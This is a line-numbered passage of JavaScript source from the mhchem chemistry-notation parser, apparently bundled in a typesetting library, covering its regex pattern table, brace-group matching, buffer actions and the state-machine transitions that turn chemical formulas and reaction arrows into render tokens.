5593 '^\\x{}': function (input) { return mhchemParser.patterns.findObserveGroups(input, "^", /^\\[a-zA-Z]+\{/, "}", ""); },
5594 '^\\x': /^\^(\\[a-zA-Z]+)\s*/,
5595 '^(-1)': /^\^(-?\d+)/,
5596 '\'': /^'/,
5597 '_{(...)}': function (input) { return mhchemParser.patterns.findObserveGroups(input, "_{", "", "", "}"); },
5598 '_($...$)': function (input) { return mhchemParser.patterns.findObserveGroups(input, "_", "$", "$", ""); },
5599 '_9': /^_([+\-]?[0-9]+|[^\\])/,
5600 '_\\x{}{}': function (input) { return mhchemParser.patterns.findObserveGroups(input, "_", /^\\[a-zA-Z]+\{/, "}", "", "", "{", "}", "", true); },
5601 '_\\x{}': function (input) { return mhchemParser.patterns.findObserveGroups(input, "_", /^\\[a-zA-Z]+\{/, "}", ""); },
5602 '_\\x': /^_(\\[a-zA-Z]+)\s*/,
5603 '^_': /^(?:\^(?=_)|\_(?=\^)|[\^_]$)/,
5604 '{}': /^\{\}/,
5605 '{...}': function (input) { return mhchemParser.patterns.findObserveGroups(input, "", "{", "}", ""); },
5606 '{(...)}': function (input) { return mhchemParser.patterns.findObserveGroups(input, "{", "", "", "}"); },
5607 '$...$': function (input) { return mhchemParser.patterns.findObserveGroups(input, "", "$", "$", ""); },
5608 '${(...)}$': function (input) { return mhchemParser.patterns.findObserveGroups(input, "${", "", "", "}$"); },
5609 '$(...)$': function (input) { return mhchemParser.patterns.findObserveGroups(input, "$", "", "", "$"); },
5610 '=<>': /^[=<>]/,
5611 '#': /^[#\u2261]/,
5612 '+': /^\+/,
5613 '-$': /^-(?=[\s_},;\]/]|$|\([a-z]+\))/, // -space -, -; -] -/ -$ -state-of-aggregation
5614 '-9': /^-(?=[0-9])/,
5615 '- orbital overlap': /^-(?=(?:[spd]|sp)(?:$|[\s,;\)\]\}]))/,
5616 '-': /^-/,
5617 'pm-operator': /^(?:\\pm|\$\\pm\$|\+-|\+\/-)/,
5618 'operator': /^(?:\+|(?:[\-=<>]|<<|>>|\\approx|\$\\approx\$)(?=\s|$|-?[0-9]))/,
5619 'arrowUpDown': /^(?:v|\(v\)|\^|\(\^\))(?=$|[\s,;\)\]\}])/,
5620 '\\bond{(...)}': function (input) { return mhchemParser.patterns.findObserveGroups(input, "\\bond{", "", "", "}"); },
5621 '->': /^(?:<->|<-->|->|<-|<=>>|<<=>|<=>|[\u2192\u27F6\u21CC])/,
5622 'CMT': /^[CMT](?=\[)/,
5623 '[(...)]': function (input) { return mhchemParser.patterns.findObserveGroups(input, "[", "", "", "]"); },
5624 '1st-level escape': /^(&|\\\\|\\hline)\s*/,
5625 '\\,': /^(?:\\[,\ ;:])/, // \\x - but output no space before
5626 '\\x{}{}': function (input) { return mhchemParser.patterns.findObserveGroups(input, "", /^\\[a-zA-Z]+\{/, "}", "", "", "{", "}", "", true); },
5627 '\\x{}': function (input) { return mhchemParser.patterns.findObserveGroups(input, "", /^\\[a-zA-Z]+\{/, "}", ""); },
5628 '\\ca': /^\\ca(?:\s+|(?![a-zA-Z]))/,
5629 '\\x': /^(?:\\[a-zA-Z]+\s*|\\[_&{}%])/,
5630 'orbital': /^(?:[0-9]{1,2}[spdfgh]|[0-9]{0,2}sp)(?=$|[^a-zA-Z])/, // only those with numbers in front, because the others will be formatted correctly anyway
5631 'others': /^[\/~|]/,
5632 '\\frac{(...)}': function (input) { return mhchemParser.patterns.findObserveGroups(input, "\\frac{", "", "", "}", "{", "", "", "}"); },
5633 '\\overset{(...)}': function (input) { return mhchemParser.patterns.findObserveGroups(input, "\\overset{", "", "", "}", "{", "", "", "}"); },
5634 '\\underset{(...)}': function (input) { return mhchemParser.patterns.findObserveGroups(input, "\\underset{", "", "", "}", "{", "", "", "}"); },
5635 '\\underbrace{(...)}': function (input) { return mhchemParser.patterns.findObserveGroups(input, "\\underbrace{", "", "", "}_", "{", "", "", "}"); },
5636 '\\color{(...)}0': function (input) { return mhchemParser.patterns.findObserveGroups(input, "\\color{", "", "", "}"); },
5637 '\\color{(...)}{(...)}1': function (input) { return mhchemParser.patterns.findObserveGroups(input, "\\color{", "", "", "}", "{", "", "", "}"); },
5638 '\\color(...){(...)}2': function (input) { return mhchemParser.patterns.findObserveGroups(input, "\\color", "\\", "", /^(?=\{)/, "{", "", "", "}"); },
5639 '\\ce{(...)}': function (input) { return mhchemParser.patterns.findObserveGroups(input, "\\ce{", "", "", "}"); },
5640 'oxidation$': /^(?:[+-][IVX]+|\\pm\s*0|\$\\pm\$\s*0)$/,
5641 'd-oxidation$': /^(?:[+-]?\s?[IVX]+|\\pm\s*0|\$\\pm\$\s*0)$/, // 0 could be oxidation or charge
5642 'roman numeral': /^[IVX]+/,
5643 '1/2$': /^[+\-]?(?:[0-9]+|\$[a-z]\$|[a-z])\/[0-9]+(?:\$[a-z]\$|[a-z])?$/,
5644 'amount': function (input) {
5645 var match;
5646 // e.g. 2, 0.5, 1/2, -2, n/2, +; $a$ could be added later in parsing
5647 match = input.match(/^(?:(?:(?:\([+\-]?[0-9]+\/[0-9]+\)|[+\-]?(?:[0-9]+|\$[a-z]\$|[a-z])\/[0-9]+|[+\-]?[0-9]+[.,][0-9]+|[+\-]?\.[0-9]+|[+\-]?[0-9]+)(?:[a-z](?=\s*[A-Z]))?)|[+\-]?[a-z](?=\s*[A-Z])|\+(?!\s))/);
5648 if (match) {
5649 return { match_: match[0], remainder: input.substr(match[0].length) };
5650 }
5651 var a = mhchemParser.patterns.findObserveGroups(input, "", "$", "$", "");
5652 if (a) { // e.g. $2n-1$, $-$
5653 match = a.match_.match(/^\$(?:\(?[+\-]?(?:[0-9]*[a-z]?[+\-])?[0-9]*[a-z](?:[+\-][0-9]*[a-z]?)?\)?|\+|-)\$$/);
5654 if (match) {
5655 return { match_: match[0], remainder: input.substr(match[0].length) };
5656 }
5657 }
5658 return null;
5659 },
5660 'amount2': function (input) { return this['amount'](input); },
5661 '(KV letters),': /^(?:[A-Z][a-z]{0,2}|i)(?=,)/,
5662 'formula$': function (input) {
5663 if (input.match(/^\([a-z]+\)$/)) { return null; } // state of aggregation = no formula
5664 var match = input.match(/^(?:[a-z]|(?:[0-9\ \+\-\,\.\(\)]+[a-z])+[0-9\ \+\-\,\.\(\)]*|(?:[a-z][0-9\ \+\-\,\.\(\)]+)+[a-z]?)$/);
5665 if (match) {
5666 return { match_: match[0], remainder: input.substr(match[0].length) };
5667 }
5668 return null;
5669 },
5670 'uprightEntities': /^(?:pH|pOH|pC|pK|iPr|iBu)(?=$|[^a-zA-Z])/,
5671 '/': /^\s*(\/)\s*/,
5672 '//': /^\s*(\/\/)\s*/,
5673 '*': /^\s*[*.]\s*/
5674 },
5675 findObserveGroups: function (input, begExcl, begIncl, endIncl, endExcl, beg2Excl, beg2Incl, end2Incl, end2Excl, combine) {
5676 /** @type {{(input: string, pattern: string | RegExp): string | string[] | null;}} */
5677 var _match = function (input, pattern) {
5678 if (typeof pattern === "string") {
5679 if (input.indexOf(pattern) !== 0) { return null; }
5680 return pattern;
5681 } else {
5682 var match = input.match(pattern);
5683 if (!match) { return null; }
5684 return match[0];
5685 }
5686 };
5687 /** @type {{(input: string, i: number, endChars: string | RegExp): {endMatchBegin: number, endMatchEnd: number} | null;}} */
5688 var _findObserveGroups = function (input, i, endChars) {
5689 var braces = 0;
5690 while (i < input.length) {
5691 var a = input.charAt(i);
5692 var match = _match(input.substr(i), endChars);
5693 if (match !== null && braces === 0) {
5694 return { endMatchBegin: i, endMatchEnd: i + match.length };
5695 } else if (a === "{") {
5696 braces++;
5697 } else if (a === "}") {
5698 if (braces === 0) {
5699 throw ["ExtraCloseMissingOpen", "Extra close brace or missing open brace"];
5700 } else {
5701 braces--;
5702 }
5703 }
5704 i++;
5705 }
5706 if (braces > 0) {
5707 return null;
5708 }
5709 return null;
5710 };
5711 var match = _match(input, begExcl);
5712 if (match === null) { return null; }
5713 input = input.substr(match.length);
5714 match = _match(input, begIncl);
5715 if (match === null) { return null; }
5716 var e = _findObserveGroups(input, match.length, endIncl || endExcl);
5717 if (e === null) { return null; }
5718 var match1 = input.substring(0, (endIncl ? e.endMatchEnd : e.endMatchBegin));
5719 if (!(beg2Excl || beg2Incl)) {
5720 return {
5721 match_: match1,
5722 remainder: input.substr(e.endMatchEnd)
5723 };
5724 } else {
5725 var group2 = this.findObserveGroups(input.substr(e.endMatchEnd), beg2Excl, beg2Incl, end2Incl, end2Excl);
5726 if (group2 === null) { return null; }
5727 /** @type {string[]} */
5728 var matchRet = [match1, group2.match_];
5729 return {
5730 match_: (combine ? matchRet.join("") : matchRet),
5731 remainder: group2.remainder
5732 };
5733 }
5734 },
5735
5736 //
5737 // Matching function
5738 // e.g. match("a", input) will look for the regexp called "a" and see if it matches
5739 // returns null or {match_:"a", remainder:"bc"}
5740 //
5741 match_: function (m, input) {
5742 var pattern = mhchemParser.patterns.patterns[m];
5743 if (pattern === undefined) {
5744 throw ["MhchemBugP", "mhchem bug P. Please report. (" + m + ")"]; // Trying to use non-existing pattern
5745 } else if (typeof pattern === "function") {
5746 return mhchemParser.patterns.patterns[m](input); // cannot use cached var pattern here, because some pattern functions need this===mhchemParser
5747 } else { // RegExp
5748 var match = input.match(pattern);
5749 if (match) {
5750 var mm;
5751 if (match[2]) {
5752 mm = [ match[1], match[2] ];
5753 } else if (match[1]) {
5754 mm = match[1];
5755 } else {
5756 mm = match[0];
5757 }
5758 return { match_: mm, remainder: input.substr(match[0].length) };
5759 }
5760 return null;
5761 }
5762 }
5763 },
5764
5765 //
5766 // Generic state machine actions
5767 //
5768 actions: {
5769 'a=': function (buffer, m) { buffer.a = (buffer.a || "") + m; },
5770 'b=': function (buffer, m) { buffer.b = (buffer.b || "") + m; },
5771 'p=': function (buffer, m) { buffer.p = (buffer.p || "") + m; },
5772 'o=': function (buffer, m) { buffer.o = (buffer.o || "") + m; },
5773 'q=': function (buffer, m) { buffer.q = (buffer.q || "") + m; },
5774 'd=': function (buffer, m) { buffer.d = (buffer.d || "") + m; },
5775 'rm=': function (buffer, m) { buffer.rm = (buffer.rm || "") + m; },
5776 'text=': function (buffer, m) { buffer.text_ = (buffer.text_ || "") + m; },
5777 'insert': function (buffer, m, a) { return { type_: a }; },
5778 'insert+p1': function (buffer, m, a) { return { type_: a, p1: m }; },
5779 'insert+p1+p2': function (buffer, m, a) { return { type_: a, p1: m[0], p2: m[1] }; },
5780 'copy': function (buffer, m) { return m; },
5781 'rm': function (buffer, m) { return { type_: 'rm', p1: m || ""}; },
5782 'text': function (buffer, m) { return mhchemParser.go(m, 'text'); },
5783 '{text}': function (buffer, m) {
5784 var ret = [ "{" ];
5785 mhchemParser.concatArray(ret, mhchemParser.go(m, 'text'));
5786 ret.push("}");
5787 return ret;
5788 },
5789 'tex-math': function (buffer, m) { return mhchemParser.go(m, 'tex-math'); },
5790 'tex-math tight': function (buffer, m) { return mhchemParser.go(m, 'tex-math tight'); },
5791 'bond': function (buffer, m, k) { return { type_: 'bond', kind_: k || m }; },
5792 'color0-output': function (buffer, m) { return { type_: 'color0', color: m[0] }; },
5793 'ce': function (buffer, m) { return mhchemParser.go(m); },
5794 '1/2': function (buffer, m) {
5795 /** @type {ParserOutput[]} */
5796 var ret = [];
5797 if (m.match(/^[+\-]/)) {
5798 ret.push(m.substr(0, 1));
5799 m = m.substr(1);
5800 }
5801 var n = m.match(/^([0-9]+|\$[a-z]\$|[a-z])\/([0-9]+)(\$[a-z]\$|[a-z])?$/);
5802 n[1] = n[1].replace(/\$/g, "");
5803 ret.push({ type_: 'frac', p1: n[1], p2: n[2] });
5804 if (n[3]) {
5805 n[3] = n[3].replace(/\$/g, "");
5806 ret.push({ type_: 'tex-math', p1: n[3] });
5807 }
5808 return ret;
5809 },
5810 '9,9': function (buffer, m) { return mhchemParser.go(m, '9,9'); }
5811 },
5812 //
5813 // createTransitions
5814 // convert { 'letter': { 'state': { action_: 'output' } } } to { 'state' => [ { pattern: 'letter', task: { action_: [{type_: 'output'}] } } ] }
5815 // with expansion of 'a|b' to 'a' and 'b' (at 2 places)
5816 //
5817 createTransitions: function (o) {
5818 var pattern, state;
5819 /** @type {string[]} */
5820 var stateArray;
5821 var i;
5822 //
5823 // 1. Collect all states
5824 //
5825 /** @type {Transitions} */
5826 var transitions = {};
5827 for (pattern in o) {
5828 for (state in o[pattern]) {
5829 stateArray = state.split("|");
5830 o[pattern][state].stateArray = stateArray;
5831 for (i=0; i<stateArray.length; i++) {
5832 transitions[stateArray[i]] = [];
5833 }
5834 }
5835 }
5836 //
5837 // 2. Fill states
5838 //
5839 for (pattern in o) {
5840 for (state in o[pattern]) {
5841 stateArray = o[pattern][state].stateArray || [];
5842 for (i=0; i<stateArray.length; i++) {
5843 //
5844 // 2a. Normalize actions into array: 'text=' ==> [{type_:'text='}]
5845 // (Note to myself: Resolving the function here would be problematic. It would need .bind (for *this*) and currying (for *option*).)
5846 //
5847 /** @type {any} */
5848 var p = o[pattern][state];
5849 if (p.action_) {
5850 p.action_ = [].concat(p.action_);
5851 for (var k=0; k<p.action_.length; k++) {
5852 if (typeof p.action_[k] === "string") {
5853 p.action_[k] = { type_: p.action_[k] };
5854 }
5855 }
5856 } else {
5857 p.action_ = [];
5858 }
5859 //
5860 // 2.b Multi-insert
5861 //
5862 var patternArray = pattern.split("|");
5863 for (var j=0; j<patternArray.length; j++) {
5864 if (stateArray[i] === '*') { // insert into all
5865 for (var t in transitions) {
5866 transitions[t].push({ pattern: patternArray[j], task: p });
5867 }
5868 } else {
5869 transitions[stateArray[i]].push({ pattern: patternArray[j], task: p });
5870 }
5871 }
5872 }
5873 }
5874 }
5875 return transitions;
5876 },
5877 stateMachines: {}
5878 };
5879
5880 //
5881 // Definition of state machines
5882 //
5883 mhchemParser.stateMachines = {
5884 //
5885 // \ce state machines
5886 //
5887 //#region ce
5888 'ce': { // main parser
5889 transitions: mhchemParser.createTransitions({
5890 'empty': {
5891 '*': { action_: 'output' } },
5892 'else': {
5893 '0|1|2': { action_: 'beginsWithBond=false', revisit: true, toContinue: true } },
5894 'oxidation$': {
5895 '0': { action_: 'oxidation-output' } },
5896 'CMT': {
5897 'r': { action_: 'rdt=', nextState: 'rt' },
5898 'rd': { action_: 'rqt=', nextState: 'rdt' } },
5899 'arrowUpDown': {
5900 '0|1|2|as': { action_: [ 'sb=false', 'output', 'operator' ], nextState: '1' } },
5901 'uprightEntities': {
5902 '0|1|2': { action_: [ 'o=', 'output' ], nextState: '1' } },
5903 'orbital': {
5904 '0|1|2|3': { action_: 'o=', nextState: 'o' } },
5905 '->': {
5906 '0|1|2|3': { action_: 'r=', nextState: 'r' },
5907 'a|as': { action_: [ 'output', 'r=' ], nextState: 'r' },
5908 '*': { action_: [ 'output', 'r=' ], nextState: 'r' } },
5909 '+': {
5910 'o': { action_: 'd= kv', nextState: 'd' },
5911 'd|D': { action_: 'd=', nextState: 'd' },
5912 'q': { action_: 'd=', nextState: 'qd' },
5913 'qd|qD': { action_: 'd=', nextState: 'qd' },
5914 'dq': { action_: [ 'output', 'd=' ], nextState: 'd' },
5915 '3': { action_: [ 'sb=false', 'output', 'operator' ], nextState: '0' } },
5916 'amount': {
5917 '0|2': { action_: 'a=', nextState: 'a' } },
5918 'pm-operator': {
5919 '0|1|2|a|as': { action_: [ 'sb=false', 'output', { type_: 'operator', option: '\\pm' } ], nextState: '0' } },
5920 'operator': {
5921 '0|1|2|a|as': { action_: [ 'sb=false', 'output', 'operator' ], nextState: '0' } },
5922 '-$': {
5923 'o|q': { action_: [ 'charge or bond', 'output' ], nextState: 'qd' },
5924 'd': { action_: 'd=', nextState: 'd' },
5925 'D': { action_: [ 'output', { type_: 'bond', option: "-" } ], nextState: '3' },
5926 'q': { action_: 'd=', nextState: 'qd' },
5927 'qd': { action_: 'd=', nextState: 'qd' },
5928 'qD|dq': { action_: [ 'output', { type_: 'bond', option: "-" } ], nextState: '3' } },
5929 '-9': {
5930 '3|o': { action_: [ 'output', { type_: 'insert', option: 'hyphen' } ], nextState: '3' } },
5931 '- orbital overlap': {
5932 'o': { action_: [ 'output', { type_: 'insert', option: 'hyphen' } ], nextState: '2' },
5933 'd': { action_: [ 'output', { type_: 'insert', option: 'hyphen' } ], nextState: '2' } },
5934 '-': {
5935 '0|1|2': { action_: [ { type_: 'output', option: 1 }, 'beginsWithBond=true', { type_: 'bond', option: "-" } ], nextState: '3' },
5936 '3': { action_: { type_: 'bond', option: "-" } },
5937 'a': { action_: [ 'output', { type_: 'insert', option: 'hyphen' } ], nextState: '2' },
5938 'as': { action_: [ { type_: 'output', option: 2 }, { type_: 'bond', option: "-" } ], nextState: '3' },
5939 'b': { action_: 'b=' },
5940 'o': { action_: { type_: '- after o/d', option: false }, nextState: '2' },
5941 'q': { action_: { type_: '- after o/d', option: false }, nextState: '2' },
5942 'd|qd|dq': { action_: { type_: '- after o/d', option: true }, nextState: '2' },
5943 'D|qD|p': { action_: [ 'output', { type_: 'bond', option: "-" } ], nextState: '3' } },
5944 'amount2': {
5945 '1|3': { action_: 'a=', nextState: 'a' } },
5946 'letters': {
5947 '0|1|2|3|a|as|b|p|bp|o': { action_: 'o=', nextState: 'o' },
5948 'q|dq': { action_: ['output', 'o='], nextState: 'o' },
5949 'd|D|qd|qD': { action_: 'o after d', nextState: 'o' } },
5950 'digits': {
5951 'o': { action_: 'q=', nextState: 'q' },
5952 'd|D': { action_: 'q=', nextState: 'dq' },
5953 'q': { action_: [ 'output', 'o=' ], nextState: 'o' },
5954 'a': { action_: 'o=', nextState: 'o' } },
5955 'space A': {
5956 'b|p|bp': {} },
5957 'space': {
5958 'a': { nextState: 'as' },
5959 '0': { action_: 'sb=false' },
5960 '1|2': { action_: 'sb=true' },
5961 'r|rt|rd|rdt|rdq': { action_: 'output', nextState: '0' },
5962 '*': { action_: [ 'output', 'sb=true' ], nextState: '1'} },
5963 '1st-level escape': {
5964 '1|2': { action_: [ 'output', { type_: 'insert+p1', option: '1st-level escape' } ] },
5965 '*': { action_: [ 'output', { type_: 'insert+p1', option: '1st-level escape' } ], nextState: '0' } },
5966 '[(...)]': {
5967 'r|rt': { action_: 'rd=', nextState: 'rd' },
5968 'rd|rdt': { action_: 'rq=', nextState: 'rdq' } },
5969 '...': {
5970 'o|d|D|dq|qd|qD': { action_: [ 'output', { type_: 'bond', option: "..." } ], nextState: '3' },
5971 '*': { action_: [ { type_: 'output', option: 1 }, { type_: 'insert', option: 'ellipsis' } ], nextState: '1' } },
5972 '. |* ': {
5973 '*': { action_: [ 'output', { type_: 'insert', option: 'addition compound' } ], nextState: '1' } },
5974 'state of aggregation $': {
5975 '*': { action_: [ 'output', 'state of aggregation' ], nextState: '1' } },
5976 '{[(': {
5977 'a|as|o': { action_: [ 'o=', 'output', 'parenthesisLevel++' ], nextState: '2' },
5978 '0|1|2|3': { action_: [ 'o=', 'output', 'parenthesisLevel++' ], nextState: '2' },
5979 '*': { action_: [ 'output', 'o=', 'output', 'parenthesisLevel++' ], nextState: '2' } },
5980 ')]}': {
5981 '0|1|2|3|b|p|bp|o': { action_: [ 'o=', 'parenthesisLevel--' ], nextState: 'o' },
5982 'a|as|d|D|q|qd|qD|dq': { action_: [ 'output', 'o=', 'parenthesisLevel--' ], nextState: 'o' } },
5983 ', ': {
5984 '*': { action_: [ 'output', 'comma' ], nextState: '0' } },
5985 '^_': { // ^ and _ without a sensible argument
5986 '*': { } },
5987 '^{(...)}|^($...$)': {
5988 '0|1|2|as': { action_: 'b=', nextState: 'b' },
5989 'p': { action_: 'b=', nextState: 'bp' },
5990 '3|o': { action_: 'd= kv', nextState: 'D' },
5991 'q': { action_: 'd=', nextState: 'qD' },
5992 'd|D|qd|qD|dq': { action_: [ 'output', 'd=' ], nextState: 'D' } },
5993 '^a|^\\x{}{}|^\\x{}|^\\x|\'': {
5994 '0|1|2|as': { action_: 'b=', nextState: 'b' },
5995 'p': { action_: 'b=', nextState: 'bp' },
5996 '3|o': { action_: 'd= kv', nextState: 'd' },
5997 'q': { action_: 'd=', nextState: 'qd' },
5998 'd|qd|D|qD': { action_: 'd=' },
5999 'dq': { action_: [ 'output', 'd=' ], nextState: 'd' } },
6000 '_{(state of aggregation)}$': {
6001 'd|D|q|qd|qD|dq': { action_: [ 'output', 'q=' ], nextState: 'q' } },
6002 '_{(...)}|_($...$)|_9|_\\x{}{}|_\\x{}|_\\x': {
6003 '0|1|2|as': { action_: 'p=', nextState: 'p' },
6004 'b': { action_: 'p=', nextState: 'bp' },
6005 '3|o': { action_: 'q=', nextState: 'q' },
6006 'd|D': { action_: 'q=', nextState: 'dq' },
6007 'q|qd|qD|dq': { action_: [ 'output', 'q=' ], nextState: 'q' } },
6008 '=<>': {
6009 '0|1|2|3|a|as|o|q|d|D|qd|qD|dq': { action_: [ { type_: 'output', option: 2 }, 'bond' ], nextState: '3' } },
6010 '#': {
6011 '0|1|2|3|a|as|o': { action_: [ { type_: 'output', option: 2 }, { type_: 'bond', option: "#" } ], nextState: '3' } },
6012 '{}': {
6013 '*': { action_: { type_: 'output', option: 1 }, nextState: '1' } },
6014 '{...}': {
6015 '0|1|2|3|a|as|b|p|bp': { action_: 'o=', nextState: 'o' },
6016 'o|d|D|q|qd|qD|dq': { action_: [ 'output', 'o=' ], nextState: 'o' } },
6017 '$...$': {
6018 'a': { action_: 'a=' }, // 2$n$
6019 '0|1|2|3|as|b|p|bp|o': { action_: 'o=', nextState: 'o' }, // not 'amount'
6020 'as|o': { action_: 'o=' },
6021 'q|d|D|qd|qD|dq': { action_: [ 'output', 'o=' ], nextState: 'o' } },
6022 '\\bond{(...)}': {
6023 '*': { action_: [ { type_: 'output', option: 2 }, 'bond' ], nextState: "3" } },
6024 '\\frac{(...)}': {
6025 '*': { action_: [ { type_: 'output', option: 1 }, 'frac-output' ], nextState: '3' } },
6026 '\\overset{(...)}': {
6027 '*': { action_: [ { type_: 'output', option: 2 }, 'overset-output' ], nextState: '3' } },
6028 '\\underset{(...)}': {
6029 '*': { action_: [ { type_: 'output', option: 2 }, 'underset-output' ], nextState: '3' } },
6030 '\\underbrace{(...)}': {
6031 '*': { action_: [ { type_: 'output', option: 2 }, 'underbrace-output' ], nextState: '3' } },
6032 '\\color{(...)}{(...)}1|\\color(...){(...)}2': {
6033 '*': { action_: [ { type_: 'output', option: 2 }, 'color-output' ], nextState: '3' } },
6034 '\\color{(...)}0': {
6035 '*': { action_: [ { type_: 'output', option: 2 }, 'color0-output' ] } },
6036 '\\ce{(...)}': {
6037 '*': { action_: [ { type_: 'output', option: 2 }, 'ce' ], nextState: '3' } },
6038 '\\,': {
6039 '*': { action_: [ { type_: 'output', option: 1 }, 'copy' ], nextState: '1' } },
6040 '\\x{}{}|\\x{}|\\x': {
6041 '0|1|2|3|a|as|b|p|bp|o|c0': { action_: [ 'o=', 'output' ], nextState: '3' },
6042 '*': { action_: ['output', 'o=', 'output' ], nextState: '3' } },
6043 'others': {
6044 '*': { action_: [ { type_: 'output', option: 1 }, 'copy' ], nextState: '3' } },
6045 'else2': {
6046 'a': { action_: 'a to o', nextState: 'o', revisit: true },
6047 'as': { action_: [ 'output', 'sb=true' ], nextState: '1', revisit: true },
6048 'r|rt|rd|rdt|rdq': { action_: [ 'output' ], nextState: '0', revisit: true },
6049 '*': { action_: [ 'output', 'copy' ], nextState: '3' } }
6050 }),
6051 actions: {
6052 'o after d': function (buffer, m) {
6053 var ret;
6054 if ((buffer.d || "").match(/^[0-9]+$/)) {
6055 var tmp = buffer.d;
6056 buffer.d = undefined;
6057 ret = this['output'](buffer);
6058 buffer.b = tmp;
6059 } else {
6060 ret = this['output'](buffer);
6061 }
6062 mhchemParser.actions['o='](buffer, m);
6063 return ret;
6064 },
6065 'd= kv': function (buffer, m) {
6066 buffer.d = m;
6067 buffer.dType = 'kv';
6068 },
6069 'charge or bond': function (buffer, m) {
6070 if (buffer['beginsWithBond']) {
6071 /** @type {ParserOutput[]} */
6072 var ret = [];
6073 mhchemParser.concatArray(ret, this['output'](buffer));
6074 mhchemParser.concatArray(ret, mhchemParser.actions['bond'](buffer, m, "-"));
6075 return ret;
6076 } else {
6077 buffer.d = m;
6078 }
6079 },
6080 '- after o/d': function (buffer, m, isAfterD) {
6081 var c1 = mhchemParser.patterns.match_('orbital', buffer.o || "");
6082 var c2 = mhchemParser.patterns.match_('one lowercase greek letter $', buffer.o || "");
6083 var c3 = mhchemParser.patterns.match_('one lowercase latin letter $', buffer.o || "");
6084 var c4 = mhchemParser.patterns.match_('$one lowercase latin letter$ $', buffer.o || "");
6085 var hyphenFollows = m==="-" && ( c1 && c1.remainder==="" || c2 || c3 || c4 );
6086 if (hyphenFollows && !buffer.a && !buffer.b && !buffer.p && !buffer.d && !buffer.q && !c1 && c3) {
6087 buffer.o = '$' + buffer.o + '$';
6088 }
6089 /** @type {ParserOutput[]} */
6090 var ret = [];
6091 if (hyphenFollows) {
6092 mhchemParser.concatArray(ret, this['output'](buffer));
6093 ret.push({ type_: 'hyphen' });
6094 } else {
6095 c1 = mhchemParser.patterns.match_('digits', buffer.d || "");
6096 if (isAfterD && c1 && c1.remainder==='') {
6097 mhchemParser.concatArray(ret, mhchemParser.actions['d='](buffer, m));
6098 mhchemParser.concatArray(ret, this['output'](buffer));
6099 } else {
6100 mhchemParser.concatArray(ret, this['output'](buffer));
6101 mhchemParser.concatArray(ret, mhchemParser.actions['bond'](buffer, m, "-"));
6102 }
6103 }
6104 return ret;
6105 },
6106 'a to o': function (buffer) {
6107 buffer.o = buffer.a;
6108 buffer.a = undefined;
6109 },
6110 'sb=true': function (buffer) { buffer.sb = true; },
6111 'sb=false': function (buffer) { buffer.sb = false; },
6112 'beginsWithBond=true': function (buffer) { buffer['beginsWithBond'] = true; },
6113 'beginsWithBond=false': function (buffer) { buffer['beginsWithBond'] = false; },
6114 'parenthesisLevel++': function (buffer) { buffer['parenthesisLevel']++; },
6115 'parenthesisLevel--': function (buffer) { buffer['parenthesisLevel']--; },
6116 'state of aggregation': function (buffer, m) {
6117 return { type_: 'state of aggregation', p1: mhchemParser.go(m, 'o') };
6118 },
6119 'comma': function (buffer, m) {
6120 var a = m.replace(/\s*$/, '');
6121 var withSpace = (a !== m);
6122 if (withSpace && buffer['parenthesisLevel'] === 0) {
6123 return { type_: 'comma enumeration L', p1: a };
6124 } else {
6125 return { type_: 'comma enumeration M', p1: a };
6126 }
6127 },
6128 'output': function (buffer, m, entityFollows) {
6129 // entityFollows:
6130 // undefined = if we have nothing else to output, also ignore the just read space (buffer.sb)
6131 // 1 = an entity follows, never omit the space if there was one just read before (can only apply to state 1)
6132 // 2 = 1 + the entity can have an amount, so output a\, instead of converting it to o (can only apply to states a|as)
6133 /** @type {ParserOutput | ParserOutput[]} */
6134 var ret;
6135 if (!buffer.r) {
6136 ret = [];
6137 if (!buffer.a && !buffer.b && !buffer.p && !buffer.o && !buffer.q && !buffer.d && !entityFollows) {
6138 //ret = [];
6139 } else {
6140 if (buffer.sb) {
6141 ret.push({ type_: 'entitySkip' });
6142 }
6143 if (!buffer.o && !buffer.q && !buffer.d && !buffer.b && !buffer.p && entityFollows!==2) {
6144 buffer.o = buffer.a;
6145 buffer.a = undefined;
6146 } else if (!buffer.o && !buffer.q && !buffer.d && (buffer.b || buffer.p)) {
6147 buffer.o = buffer.a;
6148 buffer.d = buffer.b;
6149 buffer.q = buffer.p;
6150 buffer.a = buffer.b = buffer.p = undefined;
6151 } else {
6152 if (buffer.o && buffer.dType==='kv' && mhchemParser.patterns.match_('d-oxidation$', buffer.d || "")) {
6153 buffer.dType = 'oxidation';
6154 } else if (buffer.o && buffer.dType==='kv' && !buffer.q) {
6155 buffer.dType = undefined;
6156 }
6157 }
6158 ret.push({
6159 type_: 'chemfive',
6160 a: mhchemParser.go(buffer.a, 'a'),
6161 b: mhchemParser.go(buffer.b, 'bd'),
6162 p: mhchemParser.go(buffer.p, 'pq'),
6163 o: mhchemParser.go(buffer.o, 'o'),
6164 q: mhchemParser.go(buffer.q, 'pq'),
6165 d: mhchemParser.go(buffer.d, (buffer.dType === 'oxidation' ? 'oxidation' : 'bd')),
6166 dType: buffer.dType
6167 });
6168 }
6169 } else { // r
6170 /** @type {ParserOutput[]} */
6171 var rd;
6172 if (buffer.rdt === 'M') {
6173 rd = mhchemParser.go(buffer.rd, 'tex-math');
6174 } else if (buffer.rdt === 'T') {
6175 rd = [ { type_: 'text', p1: buffer.rd || "" } ];
6176 } else {
6177 rd = mhchemParser.go(buffer.rd);
6178 }
6179 /** @type {ParserOutput[]} */
6180 var rq;
6181 if (buffer.rqt === 'M') {
6182 rq = mhchemParser.go(buffer.rq, 'tex-math');
6183 } else if (buffer.rqt === 'T') {
6184 rq = [ { type_: 'text', p1: buffer.rq || ""} ];
6185 } else {
6186 rq = mhchemParser.go(buffer.rq);
6187 }
6188 ret = {
6189 type_: 'arrow',
6190 r: buffer.r,
6191 rd: rd,
6192 rq: rq
6193 };
6194 }
6195 for (var p in buffer) {
6196 if (p !== 'parenthesisLevel' && p !== 'beginsWithBond') {
6197 delete buffer[p];
6198 }
6199 }
6200 return ret;
6201 },
6202 'oxidation-output': function (buffer, m) {
6203 var ret = [ "{" ];
6204 mhchemParser.concatArray(ret, mhchemParser.go(m, 'oxidation'));
6205 ret.push("}");
6206 return ret;
6207 },
6208 'frac-output': function (buffer, m) {
6209 return { type_: 'frac-ce', p1: mhchemParser.go(m[0]), p2: mhchemParser.go(m[1]) };
6210 },
6211 'overset-output': function (buffer, m) {
6212 return { type_: 'overset', p1: mhchemParser.go(m[0]), p2: mhchemParser.go(m[1]) };
6213 },
6214 'underset-output': function (buffer, m) {
6215 return { type_: 'underset', p1: mhchemParser.go(m[0]), p2: mhchemParser.go(m[1]) };
6216 },
